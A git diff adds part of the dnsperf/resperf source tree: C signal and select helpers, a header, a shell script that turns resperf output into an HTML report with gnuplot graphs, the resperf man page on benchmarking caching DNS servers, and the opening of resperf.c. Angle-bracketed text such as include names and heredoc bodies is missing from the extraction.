perf_log_fatal("pthread_sigmask: %s", strerror(errno)); +} + +void +perf_os_handlesignal(int sig, void (*handler)(int)) +{ + struct sigaction sa; + + memset(&sa, 0, sizeof(sa)); + sa.sa_handler = handler; + + if (sigfillset(&sa.sa_mask) < 0 || + sigaction(sig, &sa, NULL) < 0) + perf_log_fatal("sigaction: %s", strerror(errno)); +} + +isc_result_t +perf_os_waituntilreadable(int fd, int pipe_fd, isc_int64_t timeout) +{ + fd_set read_fds; + int maxfd; + struct timeval tv, *tvp; + int n; + + FD_ZERO(&read_fds); + FD_SET(fd, &read_fds); + FD_SET(pipe_fd, &read_fds); + maxfd = pipe_fd > fd ? pipe_fd : fd; + if (timeout < 0) { + tvp = NULL; + } else { + tv.tv_sec = timeout / MILLION; + tv.tv_usec = timeout % MILLION; + tvp = &tv; + } + n = select(maxfd + 1, &read_fds, NULL, NULL, tvp); + if (n < 0) { + if (errno != EINTR) + perf_log_fatal("select() failed"); + return (ISC_R_CANCELED); + } else if (FD_ISSET(fd, &read_fds)) { + return (ISC_R_SUCCESS); + } else if (FD_ISSET(pipe_fd, &read_fds)) { + return (ISC_R_CANCELED); + } else { + return (ISC_R_TIMEDOUT); + } +} diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/os.h b/dns-projects/dnsperf-src-2.0.0.0-1/os.h new file mode 100644 index 0000000..3b3d062 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/os.h @@ -0,0 +1,30 @@ +/* + * Copyright (C) 2011 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +#ifndef PERF_OS_H +#define PERF_OS_H 1 + +void +perf_os_blocksignal(int sig, isc_boolean_t block); + +void +perf_os_handlesignal(int sig, void (*handler)(int)); + +isc_result_t +perf_os_waituntilreadable(int fd, int pipe_fd, isc_int64_t timeout); + +#endif diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/resperf-report b/dns-projects/dnsperf-src-2.0.0.0-1/resperf-report new file mode 100755 index 0000000..46f49b9 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/resperf-report @@ -0,0 +1,96 @@ +#!/bin/sh +# +# Driver script to run resperf and generate an HTML report of +# the results, with graphs. +# + +# Program locations - change these if not in $PATH +resperf=resperf +gnuplot=gnuplot + +# The gnuplot terminal type. This determines the image format for the +# plots; "png" or "gif" will both work as long as the corresponding +# terminal support is compiled into your copy of gnuplot. +terminal=png + +# Create a unique ID for this report +id=`date '+%Y%m%d-%H%M'` + +# Set up file names +reportfile="$id.html" +outputfile="$id.output" +plotfile="$id.gnuplot" +rate_graph="$id.rate.$terminal" +latency_graph="$id.latency.$terminal" + +# Run the test +$resperf -P "$plotfile" "$@" >"$outputfile" 2>&1 || + { echo "`basename $0`: error running resperf:" >&2; + cat $outputfile >&2; + exit 1; + } + +# Create plots + +if + $gnuplot <&2; exit 1; +fi + +if + $gnuplot <&2; exit 1; +fi + +# Generate the report + +exec >"$reportfile" + +cat < +

Resperf report $id

+

Resperf output

+
+EOF
+cat "$outputfile"
+cat <
+EOF
+
+cat <Plots
+

+ + +

+ +EOF + +echo "Done, report is in $reportfile" >&2 + diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/resperf.1 b/dns-projects/dnsperf-src-2.0.0.0-1/resperf.1 new file mode 100644 index 0000000..f68dbb9 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/resperf.1 @@ -0,0 +1,572 @@ +.\" Copyright (C) Nominum, Inc. +.\" +.\" All rights reserved. +.TH RESPERF 1 "Nov 22, 2011" Nominum Nominum +.SH NAME +\%resperf - test the resolution performance of a caching DNS server +.SH SYNOPSIS +.hy 0 +.ad l +\fBresperf\-report\fR\ [\fB\-a\ \fIlocal_addr\fR\fR] +[\fB\-d\ \fIdatafile\fR\fR] +[\fB\-s\ \fIserver_addr\fR\fR] +[\fB\-p\ \fIport\fR\fR] +[\fB\-x\ \fIlocal_port\fR\fR] +[\fB\-t\ \fItimeout\fR\fR] +[\fB\-b\ \fIbufsize\fR\fR] +[\fB\-f\ \fIfamily\fR\fR] +[\fB\-e\fR] +[\fB\-D\fR] +[\fB\-y\ \fI[alg:]name:secret\fR\fR] +[\fB\-h\fR] +[\fB\-i\ \fIinterval\fR\fR] +[\fB\-m\ \fImax_qps\fR\fR] +[\fB\-r\ \fIrampup_time\fR\fR] +[\fB\-L\ \fImax_loss\fR\fR] +.ad +.hy +.hy 0 +.ad l + +\fBresperf\fR\ [\fB\-a\ \fIlocal_addr\fR\fR] +[\fB\-d\ \fIdatafile\fR\fR] +[\fB\-s\ \fIserver_addr\fR\fR] +[\fB\-p\ \fIport\fR\fR] +[\fB\-x\ \fIlocal_port\fR\fR] +[\fB\-t\ \fItimeout\fR\fR] +[\fB\-b\ \fIbufsize\fR\fR] +[\fB\-f\ \fIfamily\fR\fR] +[\fB\-e\fR] +[\fB\-D\fR] +[\fB\-y\ \fIname:secret\fR\fR] +[\fB\-h\fR] +[\fB\-i\ \fIinterval\fR\fR] +[\fB\-m\ \fImax_qps\fR\fR] +[\fB\-P\ \fIplot_data_file\fR\fR] +[\fB\-r\ \fIrampup_time\fR\fR] +[\fB\-L\ \fImax_loss\fR\fR] +.ad +.hy +.SH DESCRIPTION +\fBresperf\fR is a companion tool to \fBdnsperf\fR. \fBdnsperf\fR was +primarily designed for benchmarking authoritative servers, and it does not +work well with caching servers that are talking to the live Internet. One +reason for this is that dnsperf uses a "self-pacing" approach, which is +based on the assumption that you can keep the server 100% busy simply by +sending it a small burst of back-to-back queries to fill up network buffers, +and then send a new query whenever you get a response back. This approach +works well for authoritative servers that process queries in order and one +at a time; it also works pretty well for a caching server in a closed +laboratory environment talking to a simulated Internet that's all on the +same LAN. Unfortunately, it does not work well with a caching server talking +to the actual Internet, which may need to work on thousands of queries in +parallel to achieve its maximum throughput. There have been numerous +attempts to use dnsperf (or its predecessor, queryperf) for benchmarking +live caching servers, usually with poor results. Therefore, a separate tool +designed specifically for caching servers is needed. +.SS "How resperf works" +Unlike the "self-pacing" approach of dnsperf, resperf works by sending DNS +queries at a controlled, steadily increasing rate. By default, resperf will +send traffic for 60 seconds, linearly increasing the amount of traffic from +zero to 100,000 queries per second. + +During the test, resperf listens for responses from the server and keeps +track of response rates, failure rates, and latencies. It will also continue +listening for responses for an additional 40 seconds after it has stopped +sending traffic, so that there is time for the server to respond to the last +queries sent. This time period was chosen to be longer than the overall +query timeout of both Nominum CNS and current versions of BIND. + +If the test is successful, the query rate will at some point exceed the +capacity of the server and queries will be dropped, causing the response +rate to stop growing or even decrease as the query rate increases. + +The result of the test is a set of measurements of the query rate, response +rate, failure response rate, and average query latency as functions of time. +.SS "What you will need" +Benchmarking a live caching server is serious business. A fast caching +server like Nominum CNS running on an Opteron server, resolving a mix of +cacheable and non-cacheable queries typical of ISP customer traffic, is +capable of resolving more than 50,000 queries per second. In the process, it +will send more than 20,000 queries per second to authoritative servers on +the Internet, and receive responses to most of them. Assuming an average +request size of 50 bytes and a response size of 100 bytes, this amounts to +some 8 Mbps of outgoing and 16 Mbps of incoming traffic. If your Internet +connection can't handle the bandwidth, you will end up measuring the speed +of the connection, not the server, and may saturate the connection causing a +degradation in service for other users. + +Make sure there is no stateful firewall between the server and the Internet, +because most of them can't handle the amount of UDP traffic the test will +generate and will end up dropping packets, skewing the test results. Some +will even lock up or crash. + +You should run resperf on a machine separate from the server under test, on +the same LAN. Preferably, this should be a Gigabit Ethernet network. The +machine running resperf should be at least as fast as the machine being +tested; otherwise, it may end up being the bottleneck. + +There should be no other applications running on the machine running +resperf. Performance testing at the traffic levels involved is essentially a +hard real-time application - consider the fact that at a query rate of +100,000 queries per second, if resperf gets delayed by just 1/100 of a +second, 1000 incoming UDP packets will arrive in the meantime. This is more +than most operating systems will buffer, which means packets will be +dropped. + +Because the granularity of the timers provided by operating systems is +typically too coarse to accurately schedule packet transmissions at +sub-millisecond intervals, resperf will busy-wait between packet +transmissions, constantly polling for responses in the meantime. Therefore, +it is normal for resperf to consume 100% CPU during the whole test run, even +during periods where query rates are relatively low. + +You will also need a set of test queries in the \fBdnsperf\fR file format. +See the \fBdnsperf\fR man page for instructions on how to construct this +query file. To make the test as realistic as possible, the queries should be +derived from recorded production client DNS traffic, without removing +duplicate queries or other filtering. With the default settings, resperf +will use up to 3 million queries in each test run. + +If the caching server to be tested has a configurable limit on the number of +simultaneous resolutions, like the \fBmax\-recursive\-clients\fR statement +in Nominum CNS or the \fBrecursive\-clients\fR option in BIND 9, you will +probably have to increase it. As a starting point, we recommend a value of +10000 for Nominum CNS and 100000 for BIND 9. Should the limit be reached, it +will show up in the plots as an increase in the number of failure responses. + +The server being tested should be restarted at the beginning of each test to +make sure it is starting with an empty cache. If the cache already contains +data from a previous test run that used the same set of queries, almost all +queries will be answered from the cache, yielding inflated performance +numbers. + +To use the \fBresperf\-report\fR script, you need to have \fBgnuplot\fR +installed. Make sure your installed version of \fBgnuplot\fR supports the +png terminal driver. If your \fBgnuplot\fR doesn't support png but does +support gif, you can change the line saying terminal=png in the +\fBresperf\-report\fR script to terminal=gif. +.SS "Running the test" +Resperf is typically invoked via the \fBresperf\-report\fR script, which +will run \fBresperf\fR with its output redirected to a file and then +automatically generate an illustrated report in HTML format. Command line +arguments given to resperf-report will be passed on unchanged to resperf. + +When running resperf-report, you will need to specify at least the server IP +address and the query data file. A typical invocation will look like +.RS +.hy 0 + +.nf +resperf\-report \-s 10.0.0.2 \-d queryfile +.fi +.hy +.RE + +With default settings, the test run will take at most 100 seconds (60 +seconds of ramping up traffic and then 40 seconds of waiting for responses), +but in practice, the 60-second traffic phase will usually be cut short. To +be precise, resperf can transition from the traffic-sending phase to the +waiting-for-responses phase in three different ways: +.IP \(bu 2 +Running for the full allotted time and successfully reaching the maximum +query rate (by default, 60 seconds and 100,000 qps, respectively). Since +this is a very high query rate, this will rarely happen (with today's +hardware); one of the other two conditions listed below will usually occur +first. +.IP \(bu 2 +Exceeding 65,536 outstanding queries. This often happens as a result of +(successfully) exceeding the capacity of the server being tested, causing +the excess queries to be dropped. The limit of 65,536 queries comes from the +number of possible values for the ID field in the DNS packet. Resperf needs +to allocate a unique ID for each outstanding query, and is therefore unable +to send further queries if the set of possible IDs is exhausted. +.IP \(bu 2 +When resperf finds itself unable to send queries fast enough. Resperf will +notice if it is falling behind in its scheduled query transmissions, and if +this backlog reaches 1000 queries, it will print a message like "Fell behind +by 1000 queries" (or whatever the actual number is at the time) and stop +sending traffic. +.PP +Regardless of which of the above conditions caused the traffic-sending phase +of the test to end, you should examine the resulting plots to make sure the +server's response rate is flattening out toward the end of the test. If it +is not, then you are not loading the server enough. If you are getting the +"Fell behind" message, make sure that the machine running resperf is fast +enough and has no other applications running. + +You should also monitor the CPU usage of the server under test. It should +reach close to 100% CPU at the point of maximum traffic; if it does not, you +most likely have a bottleneck in some other part of your test setup, for +example, your external Internet connection. + +The report generated by \fBresperf\-report\fR will be stored with a unique +file name based on the current date and time, e.g., +\fI20060812-1550.html\fR. The PNG images of the plots and other auxiliary +files will be stored in separate files beginning with the same date-time +string. To view the report, simply open the \fI.html\fR file in a web +browser. + +If you need to copy the report to a separate machine for viewing, make sure +to copy the .png files along with the .html file (or simply copy all the +files, e.g., using scp 20060812-1550.* host:directory/). +.SS "Interpreting the report" +The \fI.html\fR file produced by \fBresperf\-report\fR consists of two +sections. The first section, "Resperf output", contains output from the +\fBresperf\fR program such as progress messages, a summary of the command +line arguments, and summary statistics. The second section, "Plots", +contains two plots generated by \fBgnuplot\fR: "Query/response/failure rate" +and "Latency". + +The "Query/response/failure rate" plot contains three graphs. The "Queries +sent per second" graph shows the amount of traffic being sent to the server; +this should be very close to a straight diagonal line, reflecting the linear +ramp-up of traffic. + +The "Total responses received per second" graph shows how many of the +queries received a response from the server. All responses are counted, +whether successful (NOERROR or NXDOMAIN) or not (e.g., SERVFAIL). + +The "Failure responses received per second" graph shows how many of the +queries received a failure response. A response is considered to be a +failure if its RCODE is neither NOERROR nor NXDOMAIN. + +By visually inspecting the graphs, you can get an idea of how the server +behaves under increasing load. The "Total responses received per second" +graph will initially closely follow the "Queries sent per second" graph +(often rendering it invisible in the plot as the two graphs are plotted on +top of one another), but when the load exceeds the server's capacity, the +"Total responses received per second" graph may diverge from the "Queries +sent per second" graph and flatten out, indicating that some of the queries +are being dropped. + +The "Failure responses received per second" graph will normally show a +roughly linear ramp close to the bottom of the plot with some random +fluctuation, since typical query traffic will contain some small percentage +of failing queries randomly interspersed with the successful ones. As the +total traffic increases, the number of failures will increase +proportionally. + +If the "Failure responses received per second" graph turns sharply upwards, +this can be another indication that the load has exceeded the server's +capacity. This will happen if the server reacts to overload by sending +SERVFAIL responses rather than by dropping queries. Since Nominum CNS and +BIND 9 will both respond with SERVFAIL when they exceed their +\fBmax\-recursive\-clients\fR or \fBrecursive\-clients\fR limit, +respectively, a sudden increase in the number of failures could mean that +the limit needs to be increased. + +The "Latency" plot contains a single graph marked "Average latency". This +shows how the latency varies during the course of the test. Typically, the +latency graph will exhibit a downwards trend because the cache hit rate +improves as ever more responses are cached during the test, and the latency +for a cache hit is much smaller than for a cache miss. The latency graph is +provided as an aid in determining the point where the server gets +overloaded, which can be seen as a sharp upwards turn in the graph. The +latency graph is not intended for making absolute latency measurements or +comparisons between servers; the latencies shown in the graph are not +representative of production latencies due to the initially empty cache and +the deliberate overloading of the server towards the end of the test. + +Note that all measurements are displayed on the plot at the horizontal +position corresponding to the point in time when the query was sent, not +when the response (if any) was received. This makes it it easy to compare +the query and response rates; for example, if no queries are dropped, the +query and response graphs will be identical. As another example, if the plot +shows 10% failure responses at t=5 seconds, this means that 10% of the +queries sent at t=5 seconds eventually failed, not that 10% of the responses +received at t=5 seconds were failures. +.SS "Determining the server's maximum throughput" +Often, the goal of running \fBresperf\fR is to determine the server's +maximum throughput, in other words, the number of queries per second it is +capable of handling. This is not always an easy task, because as a server is +driven into overload, the service it provides may deteriorate gradually, and +this deterioration can manifest itself either as queries being dropped, as +an increase in the number of SERVFAIL responses, or an increase in latency. +The maximum throughput may be defined as the highest level of traffic at +which the server still provides an acceptable level of service, but that +means you first need to decide what an acceptable level of service means in +terms of packet drop percentage, SERVFAIL percentage, and latency. + +The summary statistics in the "Resperf output" section of the report +contains a "Maximum throughput" value which by default is determined from +the maximum rate at which the server was able to return responses, without +regard to the number of queries being dropped or failing at that point. This +method of throughput measurement has the advantage of simplicity, but it may +or may not be appropriate for your needs; the reported value should always +be validated by a visual inspection of the graphs to ensure that service has +not already deteriorated unacceptably before the maximum response rate is +reached. It may also be helpful to look at the "Lost at that point" value in +the summary statistics; this indicates the percentage of the queries that +was being dropped at the point in the test when the maximum throughput was +reached. + +Alternatively, you can make resperf report the throughput at the point in +the test where the percentage of queries dropped exceeds a given limit (or +the maximum as above if the limit is never exceeded). This can be a more +realistic indication of how much the server can be loaded while still +providing an acceptable level of service. This is done using the \fB\-L\fR +command line option; for example, specifying \fB\-L 10\fR makes resperf +report the highest throughput reached before the server starts dropping more +than 10% of the queries. + +There is no corresponding way of automatically constraining results based on +the number of failed queries, because unlike dropped queries, resolution +failures will occur even when the the server is not overloaded, and the +number of such failures is heavily dependent on the query data and network +conditions. Therefore, the plots should be manually inspected to ensure that +there is not an abnormal number of failures. +.SH "GENERATING CONSTANT TRAFFIC" +In addition to ramping up traffic linearly, \fBresperf\fR also has the +capability to send a constant stream of traffic. This can be useful when +using \fBresperf\fR for tasks other than performance measurement; for +example, it can be used to "soak test" a server by subjecting it to a +sustained load for an extended period of time. + +To generate a constant traffic load, use the \fB\-c\fR command line option, +together with the \fB\-m\fR option which specifies the desired constant +query rate. For example, to send 10000 queries per second for an hour, use +\fB\-m 10000 \-c 3600\fR. This will include the usual 30-second gradual +ramp-up of traffic at the beginning, which may be useful to avoid initially +overwhelming a server that is starting with an empty cache. To start the +onslaught of traffic instantly, use \fB\-m 10000 \-c 3600 \-r 0\fR. + +To be precise, \fBresperf\fR will do a linear ramp-up of traffic from 0 to +\fB\-m\fR queries per second over a period of \fB\-r\fR seconds, followed by +a plateau of steady traffic at \fB\-m\fR queries per second lasting for +\fB\-c\fR seconds, followed by waiting for responses for an extra 40 +seconds. Either the ramp-up or the plateau can be suppressed by supplying a +duration of zero seconds with \fB\-r 0\fR and \fB\-c 0\fR, respectively. The +latter is the default. + +Sending traffic at high rates for hours on end will of course require very +large amounts of input data. Also, a long-running test will generate a large +amount of plot data, which is kept in memory for the duration of the test. +To reduce the memory usage and the size of the plot file, consider +increasing the interval between measurements from the default of 0.5 seconds +using the \fB\-i\fR option in long-running tests. + +When using \fBresperf\fR for long-running tests, it is important that the +traffic rate specified using the \fB\-m\fR is one that both \fBresperf\fR +itself and the server under test can sustain. Otherwise, the test is likely +to be cut short as a result of either running out of query IDs (because of +large numbers of dropped queries) or of resperf falling behind its +transmission schedule. +.SH OPTIONS +Because the \fBresperf\-report\fR script passes its command line options +directly to the \fBresperf\fR programs, they both accept the same set of +options, with one exception: \fBresperf\-report\fR automatically adds an +appropriate \fB\-P\fR to the \fBresperf\fR command line, and therefore does +not itself take a \fB\-P\fR option. + +\fB-d \fIdatafile\fR\fR +.br +.RS +Specifies the input data file. If not specified, \fBresperf\fR will read +from standard input. +.RE + +\fB-s \fIserver_addr\fR\fR +.br +.RS +Specifies the name or address of the server to which requests will be sent. +The default is the loopback address, 127.0.0.1. +.RE + +\fB-p \fIport\fR\fR +.br +.RS +Sets the port on which the DNS packets are sent. If not specified, the +standard DNS port (53) is used. +.RE + +\fB-a \fIlocal_addr\fR\fR +.br +.RS +Specifies the local address from which to send requests. The default is the +wildcard address. +.RE + +\fB-x \fIlocal_port\fR\fR +.br +.RS +Specifies the local port from which to send requests. The default is the +wildcard port (0). +.RE + +\fB-t \fItimeout\fR\fR +.br +.RS +Specifies the request timeout value, in seconds. \fBresperf\fR will no +longer wait for a response to a particular request after this many seconds +have elapsed. The default is 45 seconds. + +\fBresperf\fR times out unanswered requests in order to reclaim query IDs so +that the query ID space will not be exhausted in a long-running test, such +as when "soak testing" a server for an day with \fB\-m 10000 \-c 86400\fR. +The timeouts and the ability to tune them are of little use in the more +typical use case of a performance test lasting only a minute or two. + +The default timeout of 45 seconds was chosen to be longer than the query +timeout of current caching servers. Note that this is longer than the +corresponding default in \fBdnsperf\fR, because caching servers can take +many orders of magnitude longer to answer a query than authoritative servers +do. + +If a short timeout is used, there is a possibility that \fBresperf\fR will +receive a response after the corresponding request has timed out; in this +case, a message like Warning: Received a response with an unexpected id: 141 +will be printed. +.RE + +\fB-b \fIbufsize\fR\fR +.br +.RS +Sets the size of the socket's send and receive buffers, in kilobytes. If not +specified, the default value is 32k. +.RE + +\fB-f \fIfamily\fR\fR +.br +.RS +Specifies the address family used for sending DNS packets. The possible +values are "inet", "inet6", or "any". If "any" (the default value) is +specified, \fBresperf\fR will use whichever address family is appropriate +for the server it is sending packets to. +.RE + +\fB-e\fR +.br +.RS +Enables EDNS0 [RFC2671], by adding an OPT record to all packets sent. +.RE + +\fB-D\fR +.br +.RS +Sets the DO (DNSSEC OK) bit [RFC3225] in all packets sent. This also enables +EDNS0, which is required for DNSSEC. +.RE + +\fB-y \fI[alg:]name:secret\fR\fR +.br +.RS +Add a TSIG record [RFC2845] to all packets sent, using the specified TSIG +key algorithm, name and secret, where the algorithm defaults to hmac-md5 and +the secret is expressed as a base-64 encoded string. +.RE + +\fB-h\fR +.br +.RS +Print a usage statement and exit. +.RE + +\fB-i \fIinterval\fR\fR +.br +.RS +Specifies the time interval between data points in the plot file. The +default is 0.5 seconds. +.RE + +\fB-m \fImax_qps\fR\fR +.br +.RS +Specifies the target maximum query rate (in queries per second). This should +be higher than the expected maximum throughput of the server being tested. +Traffic will be ramped up at a linearly increasing rate until this value is +reached, or until one of the other conditions described in the section +"Running the test" occurs. The default is 100000 queries per second. +.RE + +\fB-P \fIplot_data_file\fR\fR +.br +.RS +Specifies the name of the plot data file. The default is +\fIresperf.gnuplot\fR. +.RE + +\fB-r \fIrampup_time\fR\fR +.br +.RS +Specifies the length of time over which traffic will be ramped up. The +default is 60 seconds. +.RE + +\fB-c \fIconstant_traffic_time\fR\fR +.br +.RS +Specifies the length of time for which traffic will be sent at a constant +rate following the initial ramp-up. The default is 0 seconds, meaning no +sending of traffic at a constant rate will be done. +.RE + +\fB-L \fImax_loss\fR\fR +.br +.RS +Specifies the maximum acceptable query loss percentage for purposes of +determining the maximum throughput value. The default is 100%, meaning that +\fBresperf\fR will measure the maximum throughput without regard to query +loss. +.RE +.SH "THE PLOT DATA FILE" +The plot data file is written by the \fBresperf\fR program and contains the +data to be plotted using \fBgnuplot\fR. When running \fBresperf\fR via the +\fBresperf\-report\fR script, there is no need for the user to deal with +this file directly, but its format and contents are documented here for +completeness and in case you wish to run \fBresperf\fR directly and use its +output for purposes other than viewing it with \fBgnuplot\fR. + +The first line of the file is a comment identifying the fields. It may be +recognized as a comment by its leading hash sign (#). + +Subsequent lines contain the actual plot data. For purposes of generating +the plot data file, the test run is divided into time intervals of 0.5 +seconds (or some other length of time specified with the \fB\-i\fR command +line option). Each line corresponds to one such interval, and contains the +following values as floating-point numbers: + +\fBTime\fR +.br +.RS +The midpoint of this time interval, in seconds since the beginning of the +run +.RE + +\fBTarget queries per second\fR +.br +.RS +The number of queries per second scheduled to be sent in this time interval +.RE + +\fBActual queries per second\fR +.br +.RS +The number of queries per second actually sent in this time interval +.RE + +\fBResponses per second\fR +.br +.RS +The number of responses received corresponding to queries sent in this time +interval, divided by the length of the interval +.RE + +\fBFailures per second\fR +.br +.RS +The number of responses received corresponding to queries sent in this time +interval and having an RCODE other than NOERROR or NXDOMAIN, divided by the +length of the interval +.RE + +\fBAverage latency\fR +.br +.RS +The average time between sending the query and receiving a response, for +queries sent in this time interval +.RE +.SH AUTHOR +Nominum, Inc. +.SH "SEE ALSO" +\fBdnsperf\fR(1) diff --git a/dns-projects/dnsperf-src-2.0.0.0-1/resperf.c b/dns-projects/dnsperf-src-2.0.0.0-1/resperf.c new file mode 100644 index 0000000..f005748 --- /dev/null +++ b/dns-projects/dnsperf-src-2.0.0.0-1/resperf.c @@ -0,0 +1,678 @@ +/* + * Copyright (C) 2000, 2001 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM + * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL + * INTERNET SOFTWARE CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, + * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING + * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, + * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION + * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/* + * Copyright (C) 2004 - 2012 Nominum, Inc. + * + * Permission to use, copy, modify, and distribute this software and its + * documentation for any purpose with or without fee is hereby granted, + * provided that the above copyright notice and this permission notice + * appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT + * OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + */ + +/*** + *** DNS Resolution Performance Testing Tool + *** + *** Version $Id: resperf.c 213200 2012-02-07 02:33:07Z bwelling $ + ***/ + +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "datafile.h" +#include "dns.h" +#include "log.h" +#include "net.h" +#include "opt.h" +#include "util.h" +#include "version.h" + +/* + * Global stuff + */ + +#define DEFAULT_SERVER_NAME "127.0.0.1" +#define DEFAULT_SERVER_PORT 53 +#define DEFAULT_LOCAL_PORT 0 +#define DEFAULT_SOCKET_BUFFER 32 +#define DEFAULT_TIMEOUT 45 + +#define MAX_INPUT_DATA (4 * 1024) + +struct query_info; + +typedef ISC_LIST(struct query_info) query_list; + +typedef struct query_info { + isc_uint64_t sent_timestamp; + /* + * This link links the query into the list of outstanding + * queries or the list of available query IDs. + */ + ISC_LINK(struct query_info) link; + /* + * The list this query is on. + */ + query_list *list; +} query_info; + +static query_list outstanding_list; +static query_list instanding_list; + +#define NQIDS 65536 +static query_info queries[NQIDS]; + +static isc_mem_t *mctx; + +static isc_sockaddr_t server_addr; +static isc_sockaddr_t local_addr; +static int query_socket; + +static isc_uint64_t query_timeout; +static isc_boolean_t edns; +static isc_boolean_t dnssec; + +static perf_datafile_t *input; + +/* The target traffic level at the end of the ramp-up */ +double max_qps = 100000.0; + +/* The time period over which we ramp up traffic */ +#define DEFAULT_RAMP_TIME 60 +static isc_uint64_t ramp_time; + +/* How long to send constant traffic after the initial ramp-up */ +#define DEFAULT_SUSTAIN_TIME 0 +static isc_uint64_t sustain_time; + +/* How long to wait for responses after sending traffic */ +static isc_uint64_t wait_time = 40 * MILLION; + +/* Total duration of the traffic-sending part of the test */ +static isc_uint64_t traffic_time; + +/* Total duration of the test */ +static isc_uint64_t end_time; + +/* Interval between plot data points, in microseconds */ +#define DEFAULT_BUCKET_INTERVAL 0.5 +static isc_uint64_t bucket_interval; + +/* The number of plot data points */ +static int n_buckets; + +/* The plot data file */ +static const char *plotfile = "resperf.gnuplot"; + +/* The largest acceptable query loss when reporting max throughput */ +static double max_loss_percent = 100.0; + +static unsigned int num_queries_sent; +static unsigned int num_queries_outstanding; +static unsigned int num_queries_timed_out; + +static isc_uint64_t time_now; +static isc_uint64_t time_of_program_start; +static isc_uint64_t time_of_end_of_run; + +/* + * The last plot data point containing actual data; this can + * be less than than (n_buckets - 1) if the traffic sending + * phase is cut short + */ +static int last_bucket_used; + +/* + * The statistics for queries sent during one bucket_interval + * of the traffic sending phase. + */ +typedef struct { + int queries; + int responses; + int failures; + double latency_sum; +} ramp_bucket; + +/* Pointer to array of n_buckets ramp_bucket structures */ +static ramp_bucket *buckets; + +enum phase { + /* + * The ramp-up phase: we are steadily increasing traffic. + */ + PHASE_RAMP, + /* + * The sustain phase: we are sending traffic at a constant + * rate. + */ + PHASE_SUSTAIN, + /* + * The wait phase: we have stopped sending queries and are + * just waiting for any remaining responses. + */ + PHASE_WAIT +}; +static enum phase phase = PHASE_RAMP; + +/* The time when the sustain/wait phase began */ +static isc_uint64_t sustain_phase_began, wait_phase_began; + +static perf_dnstsigkey_t *tsigkey; + +static char * +stringify(double value, int precision) +{ + static char buf[20]; + + snprintf(buf, sizeof(buf), "%.*f", precision, value); + return buf; +} + +static void +setup(int argc, char **argv) +{ + const char *family = NULL; + const char *server_name = DEFAULT_SERVER_NAME; + in_port_t server_port = DEFAULT_SERVER_PORT; + const char *local_name = NULL; + in_port_t local_port = DEFAULT_LOCAL_PORT; + const char *filename = NULL; + const char *tsigkey_str = NULL; + int sock_family; + unsigned int bufsize; + unsigned int i; + isc_result_t result; + + result = isc_mem_create(0, 0, &mctx); + if (result != ISC_R_SUCCESS) + perf_log_fatal("creating memory context: %s", + isc_result_totext(result)); + + dns_result_register(); + + ISC_LIST_INIT(outstanding_list); + ISC_LIST_INIT(instanding_list); + for (i = 0; i < NQIDS; i++) { + ISC_LINK_INIT(&queries[i], link); + ISC_LIST_APPEND(instanding_list, &queries[i], link); + queries[i].list = &instanding_list; + } + + sock_family = AF_UNSPEC; + server_port = DEFAULT_SERVER_PORT; + local_port = DEFAULT_LOCAL_PORT; + bufsize = DEFAULT_SOCKET_BUFFER; + query_timeout = DEFAULT_TIMEOUT * MILLION; + ramp_time = DEFAULT_RAMP_TIME * MILLION; + sustain_time = DEFAULT_SUSTAIN_TIME * MILLION; + bucket_interval = DEFAULT_BUCKET_INTERVAL * MILLION; + + perf_opt_add('f', perf_opt_string, "family", + "address family of DNS transport, inet or inet6", "any", + &family); + perf_opt_add('s', perf_opt_string, "server_addr", + "the server to query", DEFAULT_SERVER_NAME, &server_name); + perf_opt_add('p', perf_opt_port, "port", + "the port on which to query the server", + stringify(DEFAULT_SERVER_PORT, 0), &server_port); + perf_opt_add('a', perf_opt_string, "local_addr", + "the local address from which to send queries", NULL, + &local_name); + perf_opt_add('x', perf_opt_port, "local_port", + "the local port from which to send queries", + 